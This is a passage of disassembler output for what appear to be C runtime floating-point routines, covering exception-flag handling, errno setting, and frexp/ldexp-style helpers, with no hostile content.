10h test eax, eax jz short loc_42501C mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_42501C: ; CODE XREF: sub_424E40+1CBj mov ecx, [ebp+var_8] and ecx, 20h test ecx, ecx jz short loc_425034 mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_425034: ; CODE XREF: sub_424E40+1E4j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 0C00h mov [ebp+var_C], eax cmp [ebp+var_C], 800h ja short loc_425064 cmp [ebp+var_C], 800h jz short loc_42507E cmp [ebp+var_C], 0 jz short loc_4250A2 cmp [ebp+var_C], 400h jz short loc_425090 jmp short loc_4250AF ; --------------------------------------------------------------------------- loc_425064: ; CODE XREF: sub_424E40+208j cmp [ebp+var_C], 0C00h jz short loc_42506F jmp short loc_4250AF ; --------------------------------------------------------------------------- loc_42506F: ; CODE XREF: sub_424E40+22Bj mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, 3 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_4250AF ; --------------------------------------------------------------------------- loc_42507E: ; CODE XREF: sub_424E40+211j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 2 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_4250AF ; --------------------------------------------------------------------------- loc_425090: ; CODE XREF: sub_424E40+220j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_4250AF ; --------------------------------------------------------------------------- loc_4250A2: ; CODE XREF: sub_424E40+217j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh mov eax, [ebp+arg_0] mov [eax], edx loc_4250AF: ; CODE XREF: sub_424E40+222j ; sub_424E40+22Dj ... mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 300h mov [ebp+var_10], edx cmp [ebp+var_10], 0 jz short loc_4250F8 cmp [ebp+var_10], 200h jz short loc_4250E6 cmp [ebp+var_10], 300h jz short loc_4250D7 jmp short loc_425108 ; --------------------------------------------------------------------------- loc_4250D7: ; CODE XREF: sub_424E40+293j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_425108 ; --------------------------------------------------------------------------- loc_4250E6: ; CODE XREF: sub_424E40+28Aj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_425108 ; --------------------------------------------------------------------------- loc_4250F8: ; CODE XREF: sub_424E40+281j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx loc_425108: ; CODE XREF: sub_424E40+295j ; sub_424E40+2A4j ... mov eax, [ebp+arg_C] and eax, 0FFFh shl eax, 5 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFE001Fh or edx, eax mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] or edx, 1 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] and edx, 0FFFFFFE1h or edx, 2 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_10] mov eax, [edx] mov [ecx+10h], eax mov edx, [edx+4] mov [ecx+14h], edx mov eax, [ebp+arg_0] mov ecx, [eax+50h] or ecx, 1 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE1h or ecx, 2 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_14] mov edx, [ecx] mov [eax+40h], edx mov ecx, [ecx+4] mov [eax+44h], ecx call sub_425B00 lea edx, [ebp+arg_0] push edx push 1 push 0 mov eax, [ebp+var_4] push eax call dword_4E04C0 ; RaiseException mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 4 and edx, 1 test edx, edx jz short loc_4251BD mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+arg_4] mov [edx], ecx loc_4251BD: ; CODE XREF: sub_424E40+36Ej mov eax, [ebp+arg_0] mov ecx, [eax+8] shr ecx, 3 and ecx, 1 test ecx, ecx jz short loc_4251D9 mov edx, [ebp+arg_4] mov eax, [edx] and al, 0FBh mov ecx, [ebp+arg_4] mov [ecx], eax loc_4251D9: ; CODE XREF: sub_424E40+38Bj mov edx, [ebp+arg_0] mov eax, [edx+8] shr eax, 2 and eax, 1 test eax, eax jz short loc_4251F6 mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 0FFFFFFF7h mov eax, [ebp+arg_4] mov [eax], edx loc_4251F6: ; CODE XREF: sub_424E40+3A7j mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 and edx, 1 test edx, edx jz short loc_425212 mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFEFh mov edx, [ebp+arg_4] mov [edx], ecx loc_425212: ; CODE XREF: sub_424E40+3C3j mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 test ecx, ecx jz short loc_42522B mov edx, [ebp+arg_4] mov eax, [edx] and al, 0DFh mov ecx, [ebp+arg_4] mov [ecx], eax loc_42522B: ; CODE XREF: sub_424E40+3DDj mov edx, [ebp+arg_0] mov eax, [edx] and eax, 3 mov [ebp+var_14], eax cmp [ebp+var_14], 3 ja short loc_425289 mov ecx, [ebp+var_14] jmp off_4252F1[ecx*4] loc_425246: ; DATA XREF: .data:004252FDo ; .data:00447C74o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 0Ch mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_425289 ; --------------------------------------------------------------------------- loc_425258: ; CODE XREF: sub_424E40+3FFj ; DATA XREF: .data:004252F9o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 8 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_425289 ; --------------------------------------------------------------------------- loc_42526A: ; CODE XREF: sub_424E40+3FFj ; DATA XREF: .data:004252F5o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 4 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_425289 ; --------------------------------------------------------------------------- loc_42527C: ; CODE XREF: sub_424E40+3FFj ; DATA XREF: .data:off_4252F1o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h mov ecx, [ebp+arg_4] mov [ecx], eax loc_425289: ; CODE XREF: sub_424E40+3FAj ; sub_424E40+416j ... mov edx, [ebp+arg_0] mov eax, [edx] shr eax, 2 and eax, 7 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_4252AB cmp [ebp+var_18], 1 jz short loc_4252BD cmp [ebp+var_18], 2 jz short loc_4252CF jmp short loc_4252DC ; --------------------------------------------------------------------------- loc_4252AB: ; CODE XREF: sub_424E40+45Bj mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 3 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_4252DC ; --------------------------------------------------------------------------- loc_4252BD: ; CODE XREF: sub_424E40+461j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 2 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_4252DC ; --------------------------------------------------------------------------- loc_4252CF: ; CODE XREF: sub_424E40+467j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h mov eax, [ebp+arg_4] mov [eax], edx loc_4252DC: ; CODE XREF: sub_424E40+469j ; sub_424E40+47Bj ... mov ecx, [ebp+arg_0] mov edx, [ebp+arg_14] mov eax, [ecx+40h] mov [edx], eax mov ecx, [ecx+44h] mov [edx+4], ecx mov esp, ebp pop ebp retn sub_424E40 endp ; --------------------------------------------------------------------------- off_4252F1 dd offset loc_42527C ; DATA XREF: sub_424E40+3FFr dd offset loc_42526A dd offset loc_425258 dd offset loc_425246 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425310 proc near ; CODE XREF: sub_424CB0+12p ; .data:00424D82p var_44 = dword ptr -44h var_40 = qword ptr -40h var_38 = qword ptr -38h var_30 = qword ptr -30h var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h mov eax, [ebp+arg_0] and eax, 1Fh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42534A mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_42534A push 1 call sub_425B60 add esp, 4 mov eax, [ebp+var_4] and al, 0F7h mov [ebp+var_4], eax jmp loc_42564E ; --------------------------------------------------------------------------- loc_42534A: ; CODE XREF: sub_425310+17j ; sub_425310+21j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_425375 mov edx, [ebp+arg_8] and edx, 4 test edx, edx jz short loc_425375 push 4 call sub_425B60 add esp, 4 mov eax, [ebp+var_4] and al, 0FBh mov [ebp+var_4], eax jmp loc_42564E ; --------------------------------------------------------------------------- loc_425375: ; CODE XREF: sub_425310+42j ; sub_425310+4Cj mov ecx, [ebp+arg_0] and ecx, 1 test ecx, ecx jz loc_4254F1 mov edx, [ebp+arg_8] and edx, 8 test edx, edx jz loc_4254F1 push 8 call sub_425B60 add esp, 4 mov eax, [ebp+arg_8] and eax, 0C00h mov [ebp+var_20], eax cmp [ebp+var_20], 800h ja short loc_4253D0 cmp [ebp+var_20], 800h jz short loc_425425 cmp [ebp+var_20], 0 jz short loc_4253E2 cmp [ebp+var_20], 400h jz loc_425465 jmp loc_4254E3 ; --------------------------------------------------------------------------- loc_4253D0: ; CODE XREF: sub_425310+9Dj cmp [ebp+var_20], 0C00h jz loc_4254A5 jmp loc_4254E3 ; --------------------------------------------------------------------------- loc_4253E2: ; CODE XREF: sub_425310+ACj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4352F0 fnstsw ax test ah, 41h jnz short loc_425407 mov edx, dword ptr dbl_4477F8 mov dword ptr [ebp+var_28], edx mov eax, dword ptr dbl_4477F8+4 mov dword ptr [ebp+var_28+4], eax jmp short loc_425412 ; --------------------------------------------------------------------------- loc_425407: ; CODE XREF: sub_425310+E2j fld dbl_4477F8 fchs fstp [ebp+var_28] loc_425412: ; CODE XREF: sub_425310+F5j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_28] mov [ecx], edx mov eax, dword ptr [ebp+var_28+4] mov [ecx+4], eax jmp loc_4254E3 ; --------------------------------------------------------------------------- loc_425425: ; CODE XREF: sub_425310+A6j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4352F0 fnstsw ax test ah, 41h jnz short loc_42544A mov edx, dword ptr dbl_4477F8 mov dword ptr [ebp+var_30], edx mov eax, dword ptr dbl_4477F8+4 mov dword ptr [ebp+var_30+4], eax jmp short loc_425455 ; --------------------------------------------------------------------------- loc_42544A: ; CODE XREF: sub_425310+125j fld dbl_447808 fchs fstp [ebp+var_30] loc_425455: ; CODE XREF: sub_425310+138j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_30] mov [ecx], edx mov eax, dword ptr [ebp+var_30+4] mov [ecx+4], eax jmp short loc_4254E3 ; --------------------------------------------------------------------------- loc_425465: ; CODE XREF: sub_425310+B5j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4352F0 fnstsw ax test ah, 41h jnz short loc_42548A mov edx, dword ptr dbl_447808 mov dword ptr [ebp+var_38], edx mov eax, dword ptr dbl_447808+4 mov dword ptr [ebp+var_38+4], eax jmp short loc_425495 ; --------------------------------------------------------------------------- loc_42548A: ; CODE XREF: sub_425310+165j fld dbl_4477F8 fchs fstp [ebp+var_38] loc_425495: ; CODE XREF: sub_425310+178j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_38] mov [ecx], edx mov eax, dword ptr [ebp+var_38+4] mov [ecx+4], eax jmp short loc_4254E3 ; --------------------------------------------------------------------------- loc_4254A5: ; CODE XREF: sub_425310+C7j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4352F0 fnstsw ax test ah, 41h jnz short loc_4254CA mov edx, dword ptr dbl_447808 mov dword ptr [ebp+var_40], edx mov eax, dword ptr dbl_447808+4 mov dword ptr [ebp+var_40+4], eax jmp short loc_4254D5 ; --------------------------------------------------------------------------- loc_4254CA: ; CODE XREF: sub_425310+1A5j fld dbl_447808 fchs fstp [ebp+var_40] loc_4254D5: ; CODE XREF: sub_425310+1B8j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_40] mov [ecx], edx mov eax, dword ptr [ebp+var_40+4] mov [ecx+4], eax loc_4254E3: ; CODE XREF: sub_425310+BBj ; sub_425310+CDj ... mov ecx, [ebp+var_4] and ecx, 0FFFFFFFEh mov [ebp+var_4], ecx jmp loc_42564E ; --------------------------------------------------------------------------- loc_4254F1: ; CODE XREF: sub_425310+6Dj ; sub_425310+7Bj mov edx, [ebp+arg_0] and edx, 2 test edx, edx jz loc_42564E mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz loc_42564E mov [ebp+var_8], 0 mov ecx, [ebp+arg_0] and ecx, 10h test ecx, ecx jz short loc_425525 mov [ebp+var_8], 1 loc_425525: ; CODE XREF: sub_425310+20Cj mov edx, [ebp+arg_4] fld qword ptr [edx] fcomp dbl_4352F0 fnstsw ax test ah, 40h jnz loc_42562E lea eax, [ebp+var_18] push eax ; int mov ecx, [ebp+arg_4] mov edx, [ecx+4] push edx mov eax, [ecx] push eax ; double call sub_4259A0 add esp, 0Ch fstp [ebp+var_10] mov ecx, [ebp+var_18] sub ecx, 600h mov [ebp+var_14], ecx cmp [ebp+var_14], 0FFFFFBCEh jge short loc_425581 fld [ebp+var_10] fmul dbl_4352F0 fstp [ebp+var_10] mov [ebp+var_8], 1 jmp loc_42561E ; --------------------------------------------------------------------------- loc_425581: ; CODE XREF: sub_425310+257j fld [ebp+var_10] fcomp dbl_4352F0 fnstsw ax test ah, 1 jz short loc_42559A mov [ebp+var_44], 1 jmp short loc_4255A1 ; --------------------------------------------------------------------------- loc_42559A: ; CODE XREF: sub_425310+27Fj mov [ebp+var_44], 0 loc_4255A1: ; CODE XREF: sub_425310+288j mov edx, [ebp+var_44] mov [ebp+var_1C], edx mov ax, word ptr [ebp+var_10+6] and ax, 0Fh mov word ptr [ebp+var_10+6], ax mov cx, word ptr [ebp+var_10+6] or cl, 10h mov word ptr [ebp+var_10+6], cx jmp short loc_4255C9 ; --------------------------------------------------------------------------- loc_4255C0: ; CODE XREF: sub_425310+2FEj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_4255C9: ; CODE XREF: sub_425310+2AEj cmp [ebp+var_14], 0FFFFFC03h jge short loc_425610 mov eax, dword ptr [ebp+var_10] and eax, 1 test eax, eax jz short loc_4255E9 cmp [ebp+var_8], 0 jnz short loc_4255E9 mov [ebp+var_8], 1 loc_4255E9: ; CODE XREF: sub_425310+2CAj ; sub_425310+2D0j mov ecx, dword ptr [ebp+var_10] shr ecx, 1 mov dword ptr [ebp+var_10], ecx mov edx, dword ptr [ebp+var_10+4] and edx, 1 test edx, edx jz short loc_425606 mov eax, dword ptr [ebp+var_10] or eax, 80000000h mov dword ptr [ebp+var_10], eax loc_425606: ; CODE XREF: sub_425310+2E9j mov ecx, dword ptr [ebp+var_10+4] shr ecx, 1 mov dword ptr [ebp+var_10+4], ecx jmp short loc_4255C0 ; --------------------------------------------------------------------------- loc_425610: ; CODE XREF: sub_425310+2C0j cmp [ebp+var_1C], 0 jz short loc_42561E fld [ebp+var_10] fchs fstp [ebp+var_10] loc_42561E: ; CODE XREF: sub_425310+26Cj ; sub_425310+304j mov edx, [ebp+arg_4] mov eax, dword ptr [ebp+var_10] mov [edx], eax mov ecx, dword ptr [ebp+var_10+4] mov [edx+4], ecx jmp short loc_425635 ; --------------------------------------------------------------------------- loc_42562E: ; CODE XREF: sub_425310+225j mov [ebp+var_8], 1 loc_425635: ; CODE XREF: sub_425310+31Cj cmp [ebp+var_8], 0 jz short loc_425645 push 10h call sub_425B60 add esp, 4 loc_425645: ; CODE XREF: sub_425310+329j mov edx, [ebp+var_4] and edx, 0FFFFFFFDh mov [ebp+var_4], edx loc_42564E: ; CODE XREF: sub_425310+35j ; sub_425310+60j ... mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_425675 mov ecx, [ebp+arg_8] and ecx, 20h test ecx, ecx jz short loc_425675 push 20h call sub_425B60 add esp, 4 mov edx, [ebp+var_4] and edx, 0FFFFFFEFh mov [ebp+var_4], edx loc_425675: ; CODE XREF: sub_425310+346j ; sub_425310+350j xor eax, eax cmp [ebp+var_4], 0 setz al mov esp, ebp pop ebp retn sub_425310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_425690(int,int,int,int,int,int,double,int) sub_425690 proc near ; CODE XREF: sub_424BE0+2Ap ; .data:00424C7Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push eax call sub_425770 add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_425707 mov ecx, [ebp+arg_0] mov [ebp+var_20], ecx mov edx, [ebp+arg_8] mov [ebp+var_18], edx mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx mov edx, [ebp+arg_14] mov [ebp+var_C], edx mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov ecx, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], ecx push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_425B20 add esp, 8 lea eax, [ebp+var_20] push eax call sub_42ADE0 add esp, 4 test eax, eax jnz short loc_425702 mov ecx, [ebp+arg_0] push ecx call sub_425730 add esp, 4 loc_425702: ; CODE XREF: sub_425690+64j fld [ebp+var_8] jmp short loc_425727 ; --------------------------------------------------------------------------- loc_425707: ; CODE XREF: sub_425690+19j push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_425B20 add esp, 8 mov eax, [ebp+arg_0] push eax call sub_425730 add esp, 4 fld [ebp+arg_18] loc_425727: ; CODE XREF: sub_425690+75j mov esp, ebp pop ebp retn sub_425690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425730 proc near ; CODE XREF: sub_424CB0+92p ; .data:00424E1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 1 jz short loc_42574E cmp [ebp+var_4], 1 jle short loc_425766 cmp [ebp+var_4], 3 jle short loc_42575B jmp short loc_425766 ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_425730+Ej call sub_4224D0 mov dword ptr [eax], 21h jmp short loc_425766 ; --------------------------------------------------------------------------- loc_42575B: ; CODE XREF: sub_425730+1Aj call sub_4224D0 mov dword ptr [eax], 22h loc_425766: ; CODE XREF: sub_425730+14j ; sub_425730+1Cj ... mov esp, ebp pop ebp retn sub_425730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425770 proc near ; CODE XREF: sub_425690+Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_425786 ; --------------------------------------------------------------------------- loc_42577D: ; CODE XREF: sub_425770:loc_4257A7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_425786: ; CODE XREF: sub_425770+Bj cmp [ebp+var_4], 1Bh jge short loc_4257A9 mov ecx, [ebp+var_4] mov edx, dword_447720[ecx*8] cmp edx, [ebp+arg_0] jnz short loc_4257A7 mov eax, [ebp+var_4] mov eax, off_447724[eax*8] jmp short loc_4257AB ; --------------------------------------------------------------------------- loc_4257A7: ; CODE XREF: sub_425770+29j jmp short loc_42577D ; --------------------------------------------------------------------------- loc_4257A9: ; CODE XREF: sub_425770+1Aj xor eax, eax loc_4257AB: ; CODE XREF: sub_425770+35j mov esp, ebp pop ebp retn sub_425770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4257B0 proc near ; CODE XREF: sub_424CB0+4Ap ; .data:00424DD2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 20h test eax, eax jz short loc_4257C7 mov [ebp+var_4], 5 jmp short loc_42581A ; --------------------------------------------------------------------------- loc_4257C7: ; CODE XREF: sub_4257B0+Cj mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_4257DA mov [ebp+var_4], 1 jmp short loc_42581A ; --------------------------------------------------------------------------- loc_4257DA: ; CODE XREF: sub_4257B0+1Fj mov edx, [ebp+arg_0] and edx, 4 test edx, edx jz short loc_4257ED mov [ebp+var_4], 2 jmp short loc_42581A ; --------------------------------------------------------------------------- loc_4257ED: ; CODE XREF: sub_4257B0+32j mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_425800 mov [ebp+var_4], 3 jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425800: ; CODE XREF: sub_4257B0+45j mov ecx, [ebp+arg_0] and ecx, 2 test ecx, ecx jz short loc_425813 mov [ebp+var_4], 4 jmp short loc_42581A ; --------------------------------------------------------------------------- loc_425813: ; CODE XREF: sub_4257B0+58j mov [ebp+var_4], 0 loc_42581A: ; CODE XREF: sub_4257B0+15j ; sub_4257B0+28j ... mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4257B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425830 proc near ; CODE XREF: .data:004258C9p ; sub_4259A0+ECp ... var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov dword ptr [ebp+var_C], eax mov ecx, [ebp+arg_4] mov dword ptr [ebp+var_C+4], ecx mov edx, [ebp+arg_8] add edx, 3FEh mov [ebp+var_4], edx mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 800Fh mov ecx, [ebp+var_4] shl ecx, 4 or eax, ecx mov word ptr [ebp+var_C+6], ax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_425830 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 mov [ebp-4], ax mov cx, [ebp-4] sub cx, 3FEh mov [ebp-4], cx movsx eax, word ptr [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax mov edx, [ebp+10h] lea eax, [ecx+edx-3FEh] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_425830 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp+0Ch] mov [ebp-4], ecx mov edx, [ebp+0Eh] and edx, 0FFFFh and edx, 800Fh mov eax, [ebp+10h] shl eax, 4 or edx, eax mov [ebp-2], dx fld qword ptr [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425920 proc near ; CODE XREF: sub_419730+3Fp ; sub_419950+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 7FF00000h jnz short loc_425939 cmp [ebp+arg_0], 0 jnz short loc_425939 mov eax, 1 jmp short loc_42599A ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_425920+Aj ; sub_425920+10j cmp [ebp+arg_4], 0FFF00000h jnz short loc_42594F cmp [ebp+arg_0], 0 jnz short loc_42594F mov eax, 2 jmp short loc_42599A ; --------------------------------------------------------------------------- loc_42594F: ; CODE XREF: sub_425920+20j ; sub_425920+26j mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 7FF8h cmp eax, 7FF8h jnz short loc_42596A mov eax, 3 jmp short loc_42599A ; --------------------------------------------------------------------------- loc_42596A: ; CODE XREF: sub_425920+41j mov ecx, [ebp+arg_4+2] and ecx, 0FFFFh and ecx, 7FF8h cmp ecx, 7FF0h jnz short loc_425998 mov edx, [ebp+arg_4] shl edx, 0Dh test edx, edx jnz short loc_425991 cmp [ebp+arg_0], 0 jz short loc_425998 loc_425991: ; CODE XREF: sub_425920+69j mov eax, 4 jmp short loc_42599A ; --------------------------------------------------------------------------- loc_425998: ; CODE XREF: sub_425920+5Fj ; sub_425920+6Fj xor eax, eax loc_42599A: ; CODE XREF: sub_425920+17j ; sub_425920+2Dj ... pop ebp retn sub_425920 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4259A0(double,int) sub_4259A0 proc near ; CODE XREF: sub_425310+239p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h fld [ebp+arg_0] fcomp dbl_4352F0 fnstsw ax test ah, 40h jz short loc_4259D0 mov dword ptr [ebp+var_C], 0 mov dword ptr [ebp+var_C+4], 0 mov [ebp+var_4], 0 jmp loc_425ACA ; --------------------------------------------------------------------------- loc_4259D0: ; CODE XREF: sub_4259A0+14j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h test eax, eax jnz loc_425A99 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 0Ch test ecx, ecx jnz short loc_4259F9 cmp dword ptr [ebp+arg_0], 0 jz loc_425A99 loc_4259F9: ; CODE XREF: sub_4259A0+4Dj mov [ebp+var_4], 0FFFFFC03h fld [ebp+arg_0] fcomp dbl_4352F0 fnstsw ax test ah, 1 jz short loc_425A19 mov [ebp+var_14], 1 jmp short loc_425A20 ; --------------------------------------------------------------------------- loc_425A19: ; CODE XREF: sub_4259A0+6Ej mov [ebp+var_14], 0 loc_425A20: ; CODE XREF: sub_4259A0+77j mov edx, [ebp+var_14] mov [ebp+var_10], edx loc_425A26: ; CODE XREF: sub_4259A0+C3j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 10h test eax, eax jnz short loc_425A65 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 1 mov dword ptr [ebp+arg_0+4], ecx mov edx, dword ptr [ebp+arg_0] and edx, 80000000h test edx, edx jz short loc_425A52 mov eax, dword ptr [ebp+arg_0+4] or al, 1 mov dword ptr [ebp+arg_0+4], eax loc_425A52: ; CODE XREF: sub_4259A0+A8j mov ecx, dword ptr [ebp+arg_0] shl ecx, 1 mov dword ptr [ebp+arg_0], ecx mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_425A26 ; --------------------------------------------------------------------------- loc_425A65: ; CODE XREF: sub_4259A0+93j mov ax, word ptr [ebp+arg_0+6] and ax, 0FFEFh mov word ptr [ebp+arg_0+6], ax cmp [ebp+var_10], 0 jz short loc_425A82 mov cx, word ptr [ebp+arg_0+6] or ch, 80h mov word ptr [ebp+arg_0+6], cx loc_425A82: ; CODE XREF: sub_4259A0+D5j push 0 mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_425830 add esp, 0Ch fstp [ebp+var_C] jmp short loc_425ACA ; --------------------------------------------------------------------------- loc_425A99: ; CODE XREF: sub_4259A0+3Fj ; sub_4259A0+53j push 0 mov ecx, dword ptr [ebp+arg_0+4] push ecx mov edx, dword ptr [ebp+arg_0] push edx call sub_425830 add esp, 0Ch fstp [ebp+var_C] mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax sub ecx, 3FEh mov [ebp+var_4], ecx loc_425ACA: ; CODE XREF: sub_4259A0+2Bj ; sub_4259A0+F7j mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [edx], eax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_4259A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425AE0 